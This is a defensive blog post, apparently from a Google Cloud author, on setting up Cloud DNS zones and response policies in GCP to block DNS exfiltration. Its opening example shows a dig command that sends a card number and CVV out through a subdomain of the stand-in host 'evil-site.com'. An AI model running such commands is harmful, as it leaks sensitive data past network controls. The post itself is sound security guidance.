Protecting from DNS exfiltration in GCP
DNS is an essential system in every network, it serves as the phone book not only for the Internet but also for private networks. But DNS can also be used as a pathway for data exfiltration. I will show how to configure Cloud DNS in GCP to help protect against these threats.
Background on DNS security
The basic operation of DNS is simple to understand. You query the IP of a certain service and a name server will resolve it for you. For example, you could query the IP for ‘www.google.com’:
$ dig +short www.google.com
142.250.185.4
Imagine I’m a rogue employee sitting inside a network where I get access to sensitive data like credit card information. I want to exfiltrate it to my own server but usually companies will use firewalls to block connections to unknown sites, or DLP solutions to prevent exfiltration of critical information, or other security solutions. However I don’t need to connect to my server myself. Since DNS traffic is usually allowed, I can use DNS as my exfiltration vector. Let’s see how.
I could run my own name server for ‘evil-site.com’ with query logging. And from a system inside the network, run:
$ dig cc4917484589897107cvv123.evil-site.com
Through a DNS query I’m not connecting directly to my server, it is my company’s DNS resolver who does it, but sending the information I want. Notice that of course the subdomain won’t exist, and I don’t care about the answer, I exfiltrated a credit card number and its CVV to my server!
The site ‘[www.]evil-site.com’ exists but I don’t own it. It seems to be simply a funny demo site (go and visit it :). I decided to use it because it’s very convenient for testing to really resolve DNS queries, and because the name is catchy.
Obviously this is a simple example, actual methods are more sophisticated and DNS can be used not only to exfiltrate data but also as a tunneling mechanism, a covert channel to download malware or accept commands from a Command & Control (C2) server.
There are comercial solutions able to detect and block these threats, offering different features like machine learning technology to detect data in DNS queries. The cost may not fit all budgets, though. Luckily, implementing advanced mechanisms to protect against DNS threats is not always needed. It is common practice to use block lists and allow lists of domains to control your query traffic, and I will show how to do it with Cloud DNS.
Cloud DNS operation
Cloud DNS is commonly used to resolve private DNS zones deployed in GCP, but it also resolves public zones. The order of evaluation is as follows:
This shows a summary of the resolution order, but if you are not familiar with Cloud DNS I encourage you to read how it works before continuing reading. You will need it to understand the following sections.
I will leave out of the discussion outbound server policy since it effectively disables Cloud DNS and is rarely used.
One note. I will configure block and allow lists with Cloud DNS, but if clients pointed to another resolver like Google’s DNS 8.8.8.8 they would escape our controls. Hence it is important to apply GCP Firewall rules to block all outgoing DNS traffic on port 53, for both UDP and TCP! This doesn’t affect Cloud DNS and will make it the only resolver available.
Road closed
There are several ways to create block lists to block the road to unwanted DNS queries.
Using private zones to block
Let’s configure our first block list. It will be very simple, I want to block only one domain, ‘evil-site.com’. It is as simple as creating one private zone for it. It will be empty except for the automatically created NS and SOA records:
Now any query to ‘evil-site.com’ or a subdomain of it will be answered by this zone. In particular if I try to exfiltrate data as previously it won’t get passed out of the internal network:
$ dig cc4917484589897107cvv123.evil-site.com
...
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 41420
Using forwarding zones to block
If you want to deploy your own server to handle suspicious queries, you can create a forwarding zone instead and forward all those queries to it. Assuming your internal name server is listening on 10.132.0.250:
This way, normal DNS traffic will be handled by Cloud DNS efficiently and you will only need to worry about unwanted queries, that should be the exception.
I don’t recommend you to follow this approach if the server is only meant to log offending queries for later analysis by your SIEM. You can enable Cloud DNS logging and it will give you much more information which you would lose otherwise, like the VM sending the query. For example, with the previous private zone, look at the information you would get:
You can identify things like the query, the machine sending the query (‘insider’), its source IP, or the project where it lives. And you can send these logs to your SIEM through Pub/Sub if you wish, or trigger a log-based alert via Webhooks or a Slack channel. There are multiple options.
Using response policy rules to block
We can block unwanted DNS traffic with private or forwarding zones, simply for each bad domain we would need to create a zone. With response policies the mechanism is simpler, and you will get something looking more like a (block) list.
GCP doesn’t implement the full RPZ specification. Basically, a response policy contains rules keyed by DNS names. If rules are hit, they may modify the result of queries or allow them to fall through. I will create a block list with two domains this time, let me show you how this would look like:
I added rules for each zone (and their subdomains with ‘*.’) as CNAME records targeting a blackhole and assigned a bogus IP to it. An A record wouldn’t hit all possible query types but with CNAME I cover all possibilities.
It is not strictly necessary to create the blackhole record to make the query fail, you could e.g. point it to a honeypot server to eventually capture more information from the attacker.
Sorry, you are not on the list
Sometimes it is more convenient to create an allow list instead of a block list. Imagine you want to give access only to certain sites like a vendor’s software update system or your container registry, and block everything else. Let’s see how to do it.
Using private and forwarding zones to allow
First I will create a private zone to block all access specifying ‘.’, the root domain:
Now I would add forwarding zones pointing to an external resolver for those sites that I want to allow:
The DNS query for ‘gcr.io’ will match against this zone because it’s more specific than the root domain (longest suffix matching). Remember I mentioned you should block access to other resolvers via firewall rules, and that still holds. Here it is not the VM who connects to 8.8.8.8, it is Cloud DNS.
Using response policy rules to allow
Again with response policies you get something more similar to a list. The following configuration with response policy rules would do it:
As in the example for the block list, I create a blackhole with other rules pointing to it via CNAME. There is a wildcard rule to catch all domains, but because I add a bypass rule for the ‘gcr.io’ domain (allowed site) now the wildcard doesn’t apply for ‘*.gcr.io’ nor ‘*.io’ domains. Hence, at least a rule for ‘*.io’ is needed.
Variants of the problem
I am sure now you can create by yourself some variations of the solutions I have presented. For example blocking all access to the Internet with a forwarding zone, or adding the use of peering zones for multi-project deployments. But I will describe some less obvious aspects.
Google APIs
Most GCP services like Cloud Logging, BigQuery or Pub/Sub run in subdomains of ‘googleapis.com’ and blocking them will probably break GCP. These APIs are public, so if your security policies block the Internet you can redirect with CNAME to ‘private.googleapis.com’ instead which enables internal access to most Google APIs and other services. Here you can find more information.
Source of the query
If you are interested in the VM originating the query so that you can further investigate what’s going on, you can get it from Cloud DNS logging. However, if what you want is to modify a DNS resolution based on the client sending the request, that’s not that easy.
- The granularity of Cloud DNS is the network, so all VMs in a network (or DNS peered to it) will get the same resolution.
- If you forward the query to your own name server, it will see Cloud DNS as source (an IP from the range 35.199.192.0/19.), not the VM.
- We don’t implement the "Client IP Address" RPZ trigger in a response policy.
- We don’t implement EDNS Client Subnet (ECS) option in Cloud DNS.
Implementing the RPZ trigger would allow keeping control in Cloud DNS. With ECS instead, customer’s name servers could enforce this control. Well, cloud is constantly evolving, let’s wait to see ;)
DoH, DoT
DNS over HTTPS (DoH) or TLS (DoT) are two protocols to perform DNS resolutions over an encrypted channel. And this means you also need to worry about them.
Both protocols use TLS but differently. DoT uses TLS over the TCP port 853. This means it is straightforward to block it if you wish. However, DoH uses the widely used HTTPS protocol on port 443 so it looks like other HTTPS traffic. Let’s see an example:
$ curl 'https://dns.google.com/resolve?name=example.com&type=A'
{"Status":0,"TC":false,"RD":true,"RA":true,"AD":true,"CD":false,"Question":[{"name":"example.com.","type":1}],"Answer":[{"name":"example.com.","type":1,"TTL":20661,"data":"93.184.216.34"}]}
Be aware that in this case blocking DNS resolution of e.g. ‘dns.google.com’ wouldn’t solve the problem. The exfiltration doesn’t happen at that step, an attacker can simply rely on the IP of the service (like 8.8.8.8) to initiate a HTTPS connection that would look like normal web traffic. So basically this translates a DNS security problem to a web security problem. Assuming you are already protecting web traffic, you should incorporate this to your detection logic.
Feeds
The managed zones, records and rules can all be created through APIs. It would be very convenient to directly feed Cloud DNS from a domains text file and keep any changes updated every few minutes. However there is no built-in mechanism to feed DNS. This would be an interesting feature to have.
Conclusion
DNS exfiltration techniques represent real threats for organizations. With the explained methods, you can start using Cloud DNS in GCP to help protect against these threats and improve your security posture.